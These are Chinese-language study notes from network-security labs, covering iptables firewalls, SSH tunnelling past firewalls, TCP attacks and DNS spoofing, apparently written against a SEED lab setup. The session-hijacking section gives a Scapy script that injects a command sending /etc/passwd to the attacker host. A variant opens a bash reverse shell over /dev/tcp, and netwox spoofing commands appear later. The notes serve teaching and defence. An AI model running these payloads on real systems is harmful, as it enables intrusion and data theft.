每個表中有若干個鏈,每個鏈對應一個Netfilter的鉤子

iptables修改防火牆規則

實驗目標是使所有資料包的生存時間TTL增大5 修改前TCP包TTL是64 修改前

修改TTL 修改ttl

修改後ttl時間變成69 修改後

-t mangle,修改資料包,用mangle表 -A POSTROUTING,附加到POSTROUTING鏈上

搭建一個簡單的防火牆

實驗目的是丟棄除80埠和22埠之外的所有資料包

Note

iptables命令中如果沒有用-t選項選擇一個具體的表,則預設選擇的是filter表

預設規則是接受所有資料包,配置如下:

sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT

設定規則前必須要清空所有的鏈

sudo iptables -F

例如,從INPUT鏈開始,開啟埠號22和80以提供SSH和Web服務,命令如下:

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

-A INPUT,把規則加到INPUT鏈上 -p tcp,該規則只用於TCP資料包 --dport nn,目標埠號

為了讓SSH和HTTP服務能傳送響應訊息給客戶端,需要允許對外傳送TCP資料包,命令如下:

sudo iptables -A OUTPUT -p tcp -j ACCEPT

-j ACCEPT,接受滿足此規則的包

同一個系統中的不同程式間往往也使用資料包來通訊,它們利用一個稱為loopback的虛擬介面,這個介面把資訊導回自己, 應開啟這個防火牆規則:

sudo iptables -I INPUT 1 -i lo -j ACCEPT

-I INPUT 1,把規則加到INPUT鏈的第一個位置上 -i lo, 選擇發往loopback介面的資料包

需要允許DNS的查詢和回覆,DNS使用的是UDP埠53,如果DNS服務不在本機,只需執行:

sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT

由於seed lab虛擬機器DNS伺服器在本機,故還需執行下面兩條命令,否則本地DNS伺服器將無法收到DNS查詢:

sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT

上述配置執行,並用iptables -L列出設定 iptables設定

設定完成後,應當把預設策略改為DROP,這樣只有滿足規則的資料包才能夠進入這臺計算機,其他的都會被丟棄

sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

完整指令碼(iptablesfw.sh):

#!/bin/bash

# Allow SSH and HTTP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp -j ACCEPT

# Allow loopback
iptables -I INPUT 1 -i lo -j ACCEPT

# Allow DNS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
iptables -A INPUT -p udp --sport 53 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j ACCEPT

# Set default filter policy to DROP.
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

該指令碼用sudo執行

測試 測試 實驗表明,telnet連23埠不成功,80埠是成功的,實驗成功。

實驗後要清除防火牆規則,否則後續實驗會受影響,清除指令碼(cleanup.sh):

#!/bin/sh

# Set up all the default policies to ACCEPT packets.
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

#Flush all existing configrations.
iptables -F

Next Previous

iptables 是 Linux 中用於管理網路流量的防火牆工具。以下是一些快速指南,可以幫助你掌握 iptables 的基本用法。

1. 基本概念

iptables 使用表(table)鏈(chain)規則(rule)來控制資料包的處理。主要的表有:

  • filter(預設):用於控制資料包的允許或拒絕,包含 INPUT、FORWARD、OUTPUT 三個鏈。

  • nat:用於網路地址轉換(NAT),例如埠轉發。

  • mangle:用於修改資料包的內容。

每個鏈執行一組規則來決定資料包的去向:

  • INPUT:進來本機的資料包。

  • FORWARD:轉發資料包給其他網路的路由器。

  • OUTPUT:從本機發出的資料包。

2. 檢視當前規則

可以透過以下命令檢視當前的 iptables 規則:

sudo iptables -L -v -n

3. 新增規則

格式:

sudo iptables -A 鏈 -p 協議 --dport 埠 -j 目標
  • -A:表示新增規則

  • :指定鏈(INPUT, OUTPUT, FORWARD)

  • -p:協議,例如 tcpudp

  • --dport:指定埠號

  • -j:指定動作,例如 ACCEPTDROPREJECT

示例:允許訪問 22 埠(SSH)

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

4. 刪除規則

可以使用 -D 來刪除規則,方法是指定規則的完整描述或規則號。

示例:刪除剛剛新增的 22 埠規則

sudo iptables -D INPUT -p tcp --dport 22 -j ACCEPT

或者透過檢視規則編號來刪除:

sudo iptables -L --line-numbers
sudo iptables -D INPUT 1

5. 儲存和恢復規則

在重啟後保留規則,你可以儲存當前規則並在啟動時恢復。

# 儲存規則(不同系統位置不同,以下為 Ubuntu 示例)
sudo iptables-save > /etc/iptables/rules.v4

# 恢復規則
sudo iptables-restore < /etc/iptables/rules.v4

6. 常用操作示例

  • 拒絕某埠(例如 80 埠):

    sudo iptables -A INPUT -p tcp --dport 80 -j DROP
  • 限制某 IP 地址的訪問(例如拒絕 IP 192.168.1.10):

    sudo iptables -A INPUT -s 192.168.1.10 -j DROP
  • 允許本地迴環介面(localhost)流量

    sudo iptables -A INPUT -i lo -j ACCEPT

7. 清除所有規則

在測試時,如果需要清空所有規則,使用以下命令:

sudo iptables -F

8. 檢視 NAT 表

要檢視 NAT 表中的規則:

sudo iptables -t nat -L -v -n

這就是 iptables 的基本操作。

狀態防火牆和應用防火牆

之前的都是無狀態防火牆,這種防火牆獨立地檢查每個資料包。而資料包通常是上下文關聯的。比如,如果只想讓 那些屬於已有連線的TCP資料包進入網路,就必須用狀態防火牆。

狀態防火牆

狀態防火牆能監視連線的資料包,這個連線是廣義的。 比如TCP是面向連線的,使用三次握手來建立連線。 UDP不是面向連線,但當一個UDP客戶端和服務端開始交換資料時,狀態防火牆認為連線已經建立,一段時間沒有資料交換,就 認為連線終止。 ICMP也不是面向連線的。因ICMP訊息僅有一輪請求與應答,當防火牆看到應答時,會認為連線被建立並同時終止。 複雜協議的連線,一些防火牆在傳輸層和網路層之上跟蹤連線,如HTTP,FTP和IRC連線就是應用層協議,由於廣泛使用, 防火牆也對這些連線跟蹤。

Linux的連線跟蹤框架

Linux核心提供了一個連線跟蹤框架nf_conntrack,該框架也是建立在Netfilter上。這個框架儲存連線狀態資訊。 每個進入nf_conntrack的資料包都會被標上一個連線狀態,以便之後的鉤子處理資料包。

nf_conntrack的狀態有: 1、NEW, 用於建立連線 2、ESTABLISHED,連線已建立 3、RELATED, 這個狀態專門用來建立不同連線之間的聯絡。如FTP中,控制流(埠21的資料流)被標記為ESTABLISHED, 而資料傳輸流被標記為RELATED連線。 4、INVALID, 標記不符合連線行為的資料包

搭建一個狀態防火牆

上一課中iptables實現的一個防火牆有一個問題,它有一條規則是這麼寫的:

iptables -A OUTPUT -p tcp  -j ACCEPT

這樣有一個問題,就是它允許所有服務發出TCP資料包,而沒有限制只允許這兩個服務(SSH和HTTP)發出TCP資料包 為此改進這條規則,改為基於連線狀態的規則:

sudo iptables -A OUTPUT -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

-m conntrack,使用conntrack模組中的規則 --ctstate ESTABLISHED, RELATED, 具備ESTABLISHED或RELATED狀態的包

測試: 策略使用前抓包 使用前

策略使用後抓包 使用後

這個實驗目的是應用之後,看不到服務端(150)發出的TCP包,但最終還是看到了,沒有做成功

應用防火牆

資料包過濾器只檢查傳輸層及其下層,應用防火牆檢查所有層資料。 典型的應用防火牆是代理,因此也被稱為應用代理防火牆 應用防火牆的一個普遍應用是Web代理,它用於控制瀏覽器可以訪問的內容,Web代理主要用於過濾傳送出去的資料包, 但也可以用於過濾進來的資料包。

在網路中搭建一個Web代理,最關鍵之處在於確保所有的網路流量經過代理伺服器。 實現方式有以下幾種: 1、修改系統配置來引導所有網路流量透過代理 2、修改瀏覽器的網路設定使所有的HTTP請求都透過指定的代理 3、使用iptables直接修改HTTP的IP資料包,將其目的IP地址和埠號改成代理的IP地址和埠號 最好的方式是不修改任何主機配置

代理技術也可被用於繞過防火牆。如果一個防火牆基於資料包的目的地址進行過濾,則可以用Web代理瀏覽因特網, 從而繞過防火牆。只需將目的地址修改為代理伺服器的地址,讓代理伺服器獲得網頁並把結果傳給即可。

Socks代理

SOCKS(socket secure)代理伺服器,利用應用層和傳輸層之間的一個協議搭建防火牆,它就是 墊層(shim layer)或者OSI模型中的會話層(session layer)。利用這一層,代理伺服器 可以獨立於應用監視所有經過它的會話請求。 客戶機軟體需要實現SOCKS協議才能使用SOCKS代理。

繞過防火牆

最有效的繞過防火牆的方法是隧道技術,它能夠隱藏資料的真實意圖。搭建隧道的方式有很多種, 其中虛擬專用網路(virtual private network, VPN)在IP層搭建隧道,被廣泛用來繞過防火牆。

使用SSH隧道繞過防火牆

實驗場景: 公司防火牆會攔截所有進入公司的telnet資料,但允許用SSH登陸到內部一臺叫apollo的機器 home是自己機器名稱,work是公司內部的一臺機器,平時上班和家裡都有需要透過telnet到 work機器來工作。

Ssh本地埠透過跳板對映到其他機器

HostA$ ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB HostA 上啟動一個 PortA 埠,透過 HostB 轉發到 HostC:PortC上,在 HostA 上執行

故要實現以上需求,只需兩條命令:

ssh -L 8000:work:23 apollo

透過apollo,把本機8000埠對映到work的23埠

telnet localhost 8000

相當於telnet到了work的23埠

另一個實驗場景: 正在使用公司內的work計算機,想訪問facebook,但公司防火牆阻止訪問。

ssh -L 8000:www.facebook.com:80 home

透過home機器,把本機8000對映到facebook的80埠,只需訪問localhost:8000即可繞過防火牆

動態埠轉發

上面為一個專門的網站建立了一個SSH隧道,那總不可能為每個網站都建一個隧道,就需要使用動態埠轉發

本地socks5代理

HostA$ ssh -D localhost:1080 HostB 在 HostA 的本地 1080 埠啟動一個 socks5 服務, 透過本地 socks5 代理的資料會透過 ssh 連結先傳送給 HostB,再從 HostB 轉傳送給遠端主機 那麼在 HostA 上面,瀏覽器配置 socks5 代理為 127.0.0.1:1080, 看網頁時就能把資料透過 HostB 代理出去,類似 ss/ssr 版本,只不過用 ssh 來實現

動態埠轉發工作在TCP/IP模型的應用層和傳輸層之間(即OSI模型的會話層),因此它獨立於應用邏輯,比 Web代理更加通用。

使用VPN繞過防火牆

最初開發VPN是出於安全考慮,希望提供從外部專用網路到內網的安全訪問。然而,如今VPN通常被用來繞過防火牆, 尤其是繞過出口過濾。

Next Previous

Tcp安全

TCP 建立在 IP 協議之上,傳輸層是網路協議服務的最高層,同時也是使用者互動網路的最底層。

1. TCP 協議概述 (來源 ,,,,, )

  • 定義和功能: 傳輸控制協議 (TCP) 是網際網路協議套件的核心協議之一,位於 IP 層之上,屬於傳輸層。它為應用程式提供主機到主機通訊服務,確保可靠、有序的資料傳輸。TCP 建立在 IP 協議之上,傳輸層是網路協議服務的最高層,同時也是使用者互動網路的最底層。

  • 特點:

    • 面向連線: 在資料傳輸開始之前,必須先建立連線,確保通訊雙方都準備好進行資料交換。

    • 可靠傳輸: 透過序列號、確認號、校驗和等機制,確保資料按序、完整地傳輸,並進行錯誤檢測和重傳。

    • 全雙工通訊: 通訊雙方可以同時傳送和接收資料。

    • 流量控制: 透過滑動視窗機制,控制資料傳送速率,避免接收方緩衝區溢位。

    • 擁塞控制: 透過慢啟動、擁塞避免等演算法,動態調整資料傳送速率,避免網路擁塞。

2. TCP 程式工作機制 (來源 ,,,,)

  • 客戶端程式:

    1. 建立套接字: 使用 socket() 系統呼叫建立一個套接字,並指定通訊型別為 SOCK_STREAM

    2. 發起連線: 使用 connect() 系統呼叫向伺服器發起連線請求,指定伺服器的 IP 地址和埠號。

    3. 傳送資料: 連線建立後,使用 send() 系統呼叫向伺服器傳送資料。

    4. 接收資料: 使用 recv() 系統呼叫從伺服器接收資料。

    5. 關閉連線: 使用 close() 系統呼叫關閉連線。

  • 伺服器程式:

    1. 建立套接字: 使用 socket() 系統呼叫建立一個套接字,並指定通訊型別為 SOCK_STREAM

    2. 繫結埠號: 使用 bind() 系統呼叫將套接字繫結到一個特定的埠號,以便客戶端可以透過該埠連線到伺服器。

    3. 監聽連線請求: 使用 listen() 系統呼叫監聽來自客戶端的連線請求。

    4. 接受連線請求: 使用 accept() 系統呼叫接受來自客戶端的連線請求,並建立一個新的套接字來處理該連線。

    5. 建立子程序: 使用 fork() 系統呼叫建立一個新的程序來處理該連線,以便伺服器可以同時處理多個客戶端連線。

    6. 傳送和接收資料: 子程序使用 send()recv() 系統呼叫與客戶端進行資料交換。

    7. 關閉連線: 子程序使用 close() 系統呼叫關閉與客戶端的連線。

3. TCP 資料傳輸過程 (來源 ,,,,,,)

資料傳輸的底層原理

連線建立後,作業系統分配兩個緩衝區:傳送緩衝區和接收緩衝區。TCP是雙工的,兩端可以傳送和接收資料。 當應用傳送資料時,它不直接構建一個資料包,而是將資料放在TCP傳送緩衝區中,然後由作業系統的TCP協議棧程式碼 將資料打包發出。

資料包即使不按順序到達,也能按序排列:在TCP資料包頭部有一個欄位叫序列號,表示載荷中的第一個位元組對應的 序列號。當資料包到達接收端時,TCP利用TCP資料頭部的序列號將資料放進接收緩衝區的正確位置。

TCP中,一旦資料放入接收緩衝區,它們會被合併成一條資料流,資料包邊界將會消失,而UDP不是這樣。

接收端會告訴傳送端資料已經收到,會傳送確認包,出於效率考慮,不是對每個包都傳送確認包,而是告知傳送端下一個希望 收到的資料的序列號。

4. TCP 頭部結構 (來源 ,,,,,,)

史上最全TCP協議所有知識點彙總 - 知乎

  • 源埠號和目標埠號 (各 16 位): 用於標識傳送方和接收方的應用程式。

  • 序列號 (32 位): 用於標識該段資料的第一個位元組的序號。如果 SYN 標誌位被設定,則表示這是初始序列號。

  • 確認號 (32 位): 用於確認已接收到的資料,其值表示期望接收的下一個位元組的序號。僅當 ACK 標誌位被設定時有效。

  • 頭部長度 (4 位): 用於表示 TCP 頭部的長度,以 32 位字為單位。

  • 保留位 (6 位): 未使用。

  • 標誌位 (6 位):

    包括 SYN、FIN、ACK、RST、PSH 和 URG 等標誌位,用於控制 TCP 連線和資料傳輸過程。

    • SYN: 用於建立連線。

    • FIN: 用於斷開連線。

    • ACK: 用於確認資料包。

    • RST: 用於重置連線。

    • PSH: 用於立即傳送資料。

    • URG: 用於標識緊急資料。

  • 視窗大小 (16 位): 用於流量控制,表示接收方當前可接收的資料量。

  • 校驗和 (16 位): 用於驗證 TCP 頭部和資料的完整性。

  • 緊急指標 (16 位): 用於指向緊急資料的結束位置。僅當 URG 標誌位被設定時有效。

  • 選項 (0-320 位,32 位對齊): 用於擴充套件 TCP 頭部,例如新增時間戳、最大段大小等資訊。

    TCP頭部

    tcp頭部

    TCP頭部長度用32位字的數量來計量,因此將這個域的值乘以4才得到TCP頭部位元組數。 視窗大小用來表明TCP段的傳送者希望接收的位元組數的上限。流量控制用的。 檢驗和計算範圍包括IP頭部、TCP頭部、TCP資料。 緊急指標用於緊急/優先順序的目的。緊急資料不需要排隊。

    Clip_2024-11-06_19-21-05

5. TCP 三次握手協議 (來源 ,,,,, )

  • 步驟:

    1. 客戶端傳送 SYN 包: 客戶端向伺服器傳送一個 SYN 包,其中包含一個隨機生成的初始序列號 (x)。

    2. 伺服器傳送 SYN-ACK 包: 伺服器收到 SYN 包後,回覆一個 SYN-ACK 包,其中包含伺服器自己的隨機生成的初始序列號 (y),以及對客戶端 SYN 包的確認 (x+1)。

    3. 客戶端傳送 ACK 包: 客戶端收到 SYN-ACK 包後,回覆一個 ACK 包,確認伺服器的序列號 (y+1)。

  • 目的:

    • 確保雙方都準備好進行資料傳輸。

    • 協商初始序列號。

    • 建立連線狀態。

6. TCP 連線狀態 (來源 ,,,,)

  • LISTEN: 伺服器監聽連線請求的狀態。

  • SYN_SENT: 客戶端已傳送 SYN 包,等待伺服器回覆的狀態。

  • SYN_RECV: 伺服器已收到 SYN 包,併傳送 SYN-ACK 包,等待客戶端回覆的狀態。

  • ESTABLISHED: 連線已建立,可以進行資料傳輸的狀態。

  • FIN_WAIT_1: 客戶端已傳送 FIN 包,等待伺服器回覆的狀態。

  • FIN_WAIT_2: 客戶端已收到伺服器的 FIN 包的確認,等待伺服器關閉連線的狀態。

  • TIME_WAIT: 客戶端已關閉連線,等待一段時間以確保伺服器收到所有資料的狀態。

  • CLOSE_WAIT: 伺服器已收到 FIN 包,併傳送確認,等待應用程式關閉連線的狀態。

  • LAST_ACK: 伺服器已傳送 FIN 包,等待客戶端確認的狀態。

  • CLOSED: 連線已關閉的狀態。

7. TCP 安全問題

由於 TCP 協議的特性和工作機制,存在一些安全風險,主要包括以下幾種攻擊型別:

  • TCP 泛洪攻擊

    (來源,,,,,)

    • 利用 TCP 三次握手過程,傳送大量偽造的 SYN 包,使伺服器資源耗盡,無法處理正常連線請求。

    • 防禦措施:使用 SYN Cookies、限制半開連線數量、部署入侵檢測系統等。

  • TCP 重置攻擊

    (來源,,,)

    • 偽造 RST 包,強制斷開已建立的 TCP 連線。

    • 防禦措施:加密傳輸資料、使用安全的協議 (如 SSH)、部署防火牆等。

  • TCP 會話劫持攻擊

    (來源,,,,,)

    • 在已建立的 TCP 連線中注入惡意資料,例如偽造身份、竊取資料、篡改資料等。

    • 防禦措施:加密傳輸資料、使用安全的協議、部署入侵檢測系統等。

8. TCP 協議發展趨勢

隨著網際網路的不斷髮展,TCP 協議也在不斷改進和完善,以應對新的挑戰和需求。未來 TCP 協議的發展趨勢主要包括以下幾個方面:

  • 提高傳輸效率: 透過改進擁塞控制演算法、最佳化資料傳輸機制等,進一步提高 TCP 協議的傳輸效率。

  • 增強安全性: 透過引入新的安全機制、改進現有安全機制等,增強 TCP 協議的安全性,抵禦各種攻擊。

SYN泛洪攻擊

SYN泛洪攻擊針對的是TCP建立連線使用的三次握手協議。

三次握手協議

三次握手

1、客戶端傳送SYN包給服務端,用隨機產生的數字x作為初始序列號。(因TCP頭部的SYN位被置為1,因此這個包叫 SYN包) 2、服務端收到SYN包後,回覆一個SYN+ACK包,並用y作為初始序列號

服務端收到初始SYN包時,使用一個叫做傳輸控制塊(TCB)的特殊資料結構來儲存連線資訊。到這一步時,連線還
沒有建立,因此稱為半開啟連線。服務端將TCB儲存在一個只用於存放半開啟連線的佇列中。在服務端從客戶端得到
ACK包後,它會將TCB拿出佇列。
如果ACK包沒有到達,服務端會重新傳送SYN+ACK包。如果最後的ACK包一直收不到,儲存在半開啟連線佇列中的TCB
最終會因超時而被丟棄。

3、客戶端收到後發一個ACK包結束這次握手

SYN泛洪攻擊

攻擊原理:在三次握手連線完成之前,伺服器將所有半開啟連線儲存在一個佇列中,這個佇列的容量是有限的,如果攻擊者 填滿這個佇列,那麼伺服器將沒有空間來儲存任何半開啟連線的TCB,不再接受任何新的SYN包,結果就是任何人無法連線 伺服器。

這樣攻擊過程如下: 1、連續傳送SYN包給伺服器 2、不要完成三次握手協議的第三步

導致TCB記錄被移出佇列的情況有以下幾種: 1、完成三次握手 2、記錄超時,一般40s 3、伺服器收到針對半開啟連線的RST包

有防火牆因素攻擊變複雜

當使用SYN泛洪攻擊伺服器時,攻擊者需要使用隨機的源IP地址,否則攻擊很容易被防火牆遮蔽。 當伺服器回覆SYN+ACK包時,如果偽造的IP地址沒有對應計算器,半開啟連線將會在佇列中停留直到超時丟棄。 如果偽造的IP地址到達了真實的計算機,計算器將會傳送TCP RST包給伺服器。 實踐中會有很多RST包,攻擊必須和這些RST包競爭。

TCP復位攻擊

TCP復位攻擊的目標是破壞兩個主機之間已存在的連線。

從TCP協議的原理來談談rst復位攻擊 - 知乎

TCP安全之——RST復位攻擊簡析_rst攻擊-CSDN部落格

關閉TCP連線

方式一:

1、A沒有更多資料傳給B時,傳送FIN包給B 2、B收到後,回覆ACK包,A到B的連線就關閉了,但B到A連線依舊保持 3、如果B也要關閉到A的連線,傳送FIN,A回覆ACK,就關閉

方式二:

只需傳送RST包,連線立刻中斷,主要用在沒有時間或者無法使用FIN協議的緊急情況。 比如發現SYN泛洪攻擊。

TCP復位攻擊的條件

假冒的方式傳送RST包來中斷連線,叫TCP復位攻擊。 要成功實現攻擊,要正確設定: 1、源和目的IP地址、埠號 2、序列號

把攻擊者和受害者放在同一個網路,可以降低猜測序列號的難度

Clip_2024-11-06_19-20-02

防禦TCP復位劫持攻擊的措施:

加密傳輸資料: 透過加密TCP資料包,可以防止攻擊者嗅探或偽造RST包。

使用安全的協議: 使用安全的協議(如SSH)可以提供更強的安全性,因為它們在網路層進行加密,可以保護整個TCP資料包,包括頭部。

部署防火牆: 防火牆可以幫助阻止來自攻擊者的惡意流量。

TCP會話劫持攻擊背景

淺談會話劫持原理及實踐 _會話劫持攻擊原理-CSDN部落格

一臺計算機可以有多個併發的TCP會話,因此它需要知道一個資料包屬於哪一個TCP會話。TCP使用4元組來唯一確定一個會話: 源IP地址、目的IP地址、源埠號、目的埠號,這4個域稱為TCP會話的特徵。

為了偽造資料包,除了上面四個特徵必須符合外,還有一個關鍵的序列號必須符合

如果接收方是telnet伺服器,那從傳送方到接收方的資料就是命令,一旦控制了該會話,就可以讓telnet伺服器執行攻擊者的命令, 這就是把這類攻擊稱為TCP會話劫持的原因

發動TCP會話劫持攻擊

實驗目標:劫持客戶端,在服務端用受害者許可權執行命令 1、客戶端telnet連線到服務端 2、Wireshark中找到客戶端發給服務端的最後一個telnet資料包 客戶端最後一個包

客戶端發給服務端最後一個資料包是ACK包,不包含任何資料,因此不佔用任何序列號

3、宿主機啟動TCP接收服務 一旦攻擊命令在服務端上執行成功,就可以透過命令把輸出傳送到宿主機啟動的伺服器上 起nc服務

-lv是等待連線,並輸出來自這個連線的任何內容

4、將服務端輸出重定向到宿主機 服務端執行命令: 重定向

宿主機收到:

收到重定向資訊

上面這個實驗是說明原理的,實際攻擊者不可能訪問伺服器。下面用scapy來實現這個攻擊。

#!/usr/bin/python3
import sys
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.....")
client_addr = "192.168.230.151"
server_addr = "192.168.230.150"

IPLayer = IP(src=client_addr, dst=server_addr)
TCPLayer = TCP(sport=38276, dport=23, flags="A", seq=2833231448, ack=1828464701)
Data = "\r cat /etc/passwd > /dev/tcp/192.168.230.1/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt, verbose=0)

1、宿主機起nc服務 2、宿主機發動攻擊 宿主機執行:

sudo python sessionhijack.py

可以看到服務端的passwd重定向到了宿主機: 攻擊成功

Warning

實驗實際做下來,第一次沒有劫持成功,重新wireshark取資料,更新指令碼數值,第二次成功了,要多試幾次

Note

指令碼攻擊中還必須設定ACK位,就是wireshark中的Acknowledgment Number。 當攻擊過程中如果客戶端還是持續地輸入,那麼序列號就不容易寫正確,這時可以做一個估計N + 100,這樣受害者 輸入長度到的時候就會觸發偽造資料,為了使偽造資料不與受害者資料混淆,故加入\r

TCP劫持攻擊連線的過程

上一個實驗對客戶端和服務端的連線是破壞性的,攻擊者發的偽造包,服務端收到後回覆給了客戶端,而客戶端沒有到達 這個序列號,會認為是無效的,就會丟棄。這樣服務端沒有收到確認就會重發,從而一直被客戶端丟棄。

另一方面,如果客戶端telnet程式輸入時,序列號已經被佔用,伺服器會視為重複資料,不予理睬,而客戶端就會重發。 一段時間後,雙方TCP連線被斷開。

建立反向shell

步驟和上面都一樣,只是指令碼中Data改成:

Data = "\r /bin/bash -i > /dev/tcp/192.168.230.1/9090 2>&1 0<&1 \r"

執行後在宿主機成功獲取到了服務端的shell: 獲得服務端shell

-i 互動模式 2>&1 標準錯誤重定向到1,1已經重定向到宿主機9090埠 0<&1 服務端輸入重定向到1

如何防禦會話劫持攻擊

防止會話劫持攻擊的關鍵在於使攻擊者難以偽造資料包,並對有效載荷進行加密。 以下是一些常用的防禦措施:

1. 隨機化源埠號

透過隨機分配源埠號,攻擊者更難預測到正確的埠號,從而增加偽造資料包的難度。

2. 隨機化初始序列號

TCP 三次握手過程中使用的初始序列號如果可以被預測,攻擊者就能更容易地偽造資料包。 透過隨機化初始序列號,攻擊者將更難猜到正確的序列號。

3. 加密有效載荷

加密有效載荷可以有效防止攻擊者讀取或篡改傳輸的資料,即使攻擊者成功劫持了會話,也無法獲取敏感資訊。 例如,SSH 協議在傳輸層進行加密,可以保護整個 TCP 資料包,包括頭部,因此可以有效防禦 TCP 會話劫持攻擊。

4. 使用安全的協議

選擇使用更安全的協議(如 SSH)可以提供更強的安全性。

5. 部署防火牆

防火牆可以過濾網路流量,阻止來自攻擊者的惡意流量,從而降低會話劫持攻擊的風險。

需要注意的是,隨機化源埠號和初始序列號並不能完全防禦本地攻擊,因為攻擊者可能已經獲得了本地網路訪問許可權。

DNS

DNS基本概念

DNS的主要任務是把計算機名轉換為IP地址

DNS域層次結構

域名結構如下圖: 域名結構 域的根節點稱為根域,用符號.表示,下一層域結構稱為頂級域名(TLD) 頂級域名有國家程式碼頂級域名(ccTLD),還有其他目的的頂級域名,如bank、coffee、jobs等 所有頂級域名的官方列表被因特網編號分配機構(IANA)掌管,到2017年已有1547個頂級域名

每個頂級域名都被IANA委託給一個指定代理,稱為註冊處。VeriSign是com和net域的指定代理,EDUCASE是edu域的指定代理 頂級域名的指定代理會透過註冊商為公眾提供註冊服務,使用者買了域名後,指定代理會負責把所購域名的相應資訊填入註冊資料庫中 中國域名註冊商有易名中國、萬網、商務中國等

DNS區域

example.com的域 example.com是一家國際企業,有美國、英國、法國三個分部,分別對應三個子域名。在美國,又有三個分公司。 由於在芝加哥和波士頓的兩家公司都比較小,因此放入了同一個區域。而紐約公司比較大,故單獨用一個區域。

域名系統是透過區域組織的,一個DNS區域把樹狀域內臨近的域名和子域組織起來,並且將管理許可權分配給實體。 每個區域由權威機構管理。一個域名可以由多個機構管理。

權威域名伺服器

每個DNS區域都至少有一個權威域名伺服器來公佈關於這個區域的資訊。出於冗餘目的應至少提供兩個權威域名伺服器。

因特網中區域的組織形式

DNS請求最終目的是從權威域名伺服器得到答案,DNS採用分散式方法來找權威域名伺服器,以樹的形式來組織因特網中所有的 DNS區域,每一個權威域名伺服器都可以沿著樹的結構找到。

樹的根被稱為root區域,IANA負責維護這個區域,有13個權威域名伺服器(DNS根伺服器)管理這個區域,名稱從a到m,即 從a.root-servers.net到m.root-servers.net。

DNS請求過程

使用者計算機應用試圖與另一臺計算機通訊時,會先向本機DNS解析器查詢,如果失敗,再發請求給系統指定的本地DNS伺服器, 如果沒有,該伺服器會逐步從因特網其他DNS伺服器查詢IP地址。

本地DNS檔案

在Linux中,DNS解析器依賴兩個檔案,分別是/etc/hosts和/etc/resolv.conf。 resolv.conf為DNS解析器提供資訊,包含本地DNS伺服器的IP地址等

Note

如果一臺計算機用DHCP(動態主機配置協議)得到IP地址,它同時也會從DHCP得到本地DNS伺服器的IP地址, 並且儲存到resolv.conf檔案中,這種情況下,resolv.conf檔案會被自動修改,任何對該檔案所做的手動 更改都會被覆蓋。

本地DNS伺服器和迭代查詢過程

本地dns伺服器

計算機通常使用區域網內的DNS伺服器,這是"本地"的名字來源,現在許多非本地的DNS伺服器可以用作本地 DNS伺服器,如谷歌公共DNS等,本地的含義伺服器不一定必須位於本地

dns查詢過程 dns查詢過程:本地伺服器為了找到www.example.net的ip地址,先是問root區域,root區域會告訴 .net伺服器地址,再請求.net伺服器,會告訴他example.net伺服器的地址,最後才得到正確地址

dig命令會模擬本地DNS伺服器的行為 先查根伺服器: 查頂級域名

根伺服器告訴了13個.net域名伺服器: 查.net域名

.net域名伺服器返回了2個example.net區域的權威域名伺服器: 查example.net域名

DNS應答分為4個部分:問題部分、回覆部分、授權部分和附加部分。 問題部分包含請求的問題 回覆部分包含對請求問題的答案 授權部分包含指向權威伺服器的記錄 附加部分包含和請求有關的記錄

DNS快取,當本地DNS伺服器從其他DNS伺服器得到資訊時,它會快取這個資訊,以便將來需要時不必浪費時間再次詢問。 快取中的每個資訊都有一個存活時間。

比如查詢mail.example.net,本地DNS伺服器不會從root域開始查詢,因為快取中已經有example.net域名伺服器的IP 地址,就直接從這個伺服器開始查詢。

為何是13臺根伺服器

因為在所有UDP實現中能保證正常工作的最大包長是512位元組。要讓所有根伺服器資料能包含在一個512位元組的UDP包中, 根伺服器只能限制在13個

DNS攻擊概述

針對DNS的攻擊方式: 1、拒絕服務攻擊 2、DNS欺騙攻擊,主要目的是給受害者提供虛假的IP地址

對域名系統的四個攻擊面: 1、在受感染的計算機中攻擊 比如修改/etc/resolv.conf或/etc/hosts等

2、攻擊使用者機 當使用者機給本地DNS伺服器傳送DNS請求時,攻擊者可以立即傳送一個欺騙的回覆

3、攻擊本地DNS伺服器:快取中毒攻擊 當本地DNS伺服器向因特網中的DNS伺服器傳送迭代請求時,攻擊者可以傳送欺騙回復給本地DNS伺服器。 欺騙回復的資訊通常被DNS伺服器快取,這個攻擊被稱為DNS快取中毒攻擊

4、從惡意DNS伺服器發起攻擊 比如使用者訪問attacker32.com這個網站時,一個DNS請求會最終到達attacker32.com的權威域名伺服器。 除了在響應的回覆部分提供IP地址外,這個域名伺服器還會提供授權和附加部分的資訊。 如果使用者不加選擇地接受域名伺服器提供的所有資訊,攻擊者就可以透過提供虛假資訊來達到攻擊的目的。

攻擊角度示意圖如下: 攻擊角度

攻擊使用者本機

假定攻破了使用者主機,在/etc/hosts增加如下記錄:

192.168.230.154 www.example.com

可以看到ping受到了影響,但dig沒有影響 修改hosts

直接偽造結果給使用者

當沒有拿到使用者機的shell,但是和使用者機出於同一區域網,當使用者機發dns請求時,對其dns偽造回覆 攻擊機執行:

sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 101.102.103.104

令網站www.example.net的查詢結果為5.6.7.8 查詢該網站的域名伺服器為ns.attacker32.com ip為101.102.103.104 偽造給使用者

本地DNS快取中毒攻擊

